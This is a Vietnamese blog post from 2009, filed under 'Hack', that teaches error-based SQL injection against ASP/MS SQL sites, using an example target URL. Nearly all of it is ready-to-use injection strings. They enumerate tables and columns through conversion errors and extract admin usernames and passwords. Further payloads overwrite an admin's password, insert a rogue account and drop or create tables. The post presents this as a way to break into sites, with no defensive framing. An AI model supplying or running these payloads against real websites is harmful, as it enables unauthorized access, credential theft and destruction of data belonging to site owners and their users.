hack cơ bản lỗi SQL

Các bạn tìm 1 cái web bị dính lỗi SQL:
victim: ví dụ thôi

Code:
http://www.ni.online.com/products.asp?id=44'

(hack=cách truy vấn)(query)
Đầu tiên
Bước 1: get table_name
Các bạn gắn đoạn mã sau vào sau site bị lỗi

Code:
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('')))--sp_password

lưu ý dấu có thể có hoặc ko
-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:

Code:
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('table1')))--sp_password

cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..
Bước 2: Get column
Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin

Code:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1'))--sp_password

vd ta tìm được column thứ 1 trong table1username
Tiếp tục get các column thứ 2 trong table1:

Code:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1' and column_name not in('username')))--sp_password

Nếu tìm được username/password trong table1 thì ta check pass của nó
Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password

Code:
and 1=convert(int,(select top 1 username%2b'/'%2bpassword from table1))--sp_password

Xong rồi nó ra pass rồi đó

1 số query khác:
-Tạo 1 table_name:

Code:
;drop table ni.online create table ni.online (id int identity,vnc_group varchar(99)) insert into ni.online select table_name from information_schema.tables--sp_password

-Thay đổi pass admin: lấy vd trên nếu như username : ni.online/pass:123456

Code:
;UPDATE table1 SET password = 'pass mới' WHERE username='ni.online'--

-Chèn 1 record mới vào table

Code:
;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES (99,'ni.online','ni.online','NA')--

-Tìm tất cả các table có liên quan như: admin,user,member,account,login…<– tia của pác VK

Code:
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like '%admin%' or table_name like '%Member%' or table_name like '%User%' or table_name like '%account%' or table_name like '%login%'))--sp_password

Update by ML:

Code:
 and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('') and (table_name like '%25admin%25' or table_name like '%25Member%25' or table_name like '%25User%25' or table_name like '%25account%25' or table_name like '%25login%25')))--sp_password

Bổ sung thêm:
-Lấy tất cả các table_name:

Code:
; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2btable_name%2b'/' from information_schema.tables select @temp as id into ni.online end--
Code:
or 1=(select id from ni.online)--
Code:
; drop table ni.online--

-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

Code:
; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2bcolumn_name%2b'/' from information_schema.columns where table_name='tbadmin' select @temp as id into ni.online end--
Code:
or 1=(select id from ni.online)--
This entry was posted on Friday, December 11th, 2009 and is filed under Hack. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.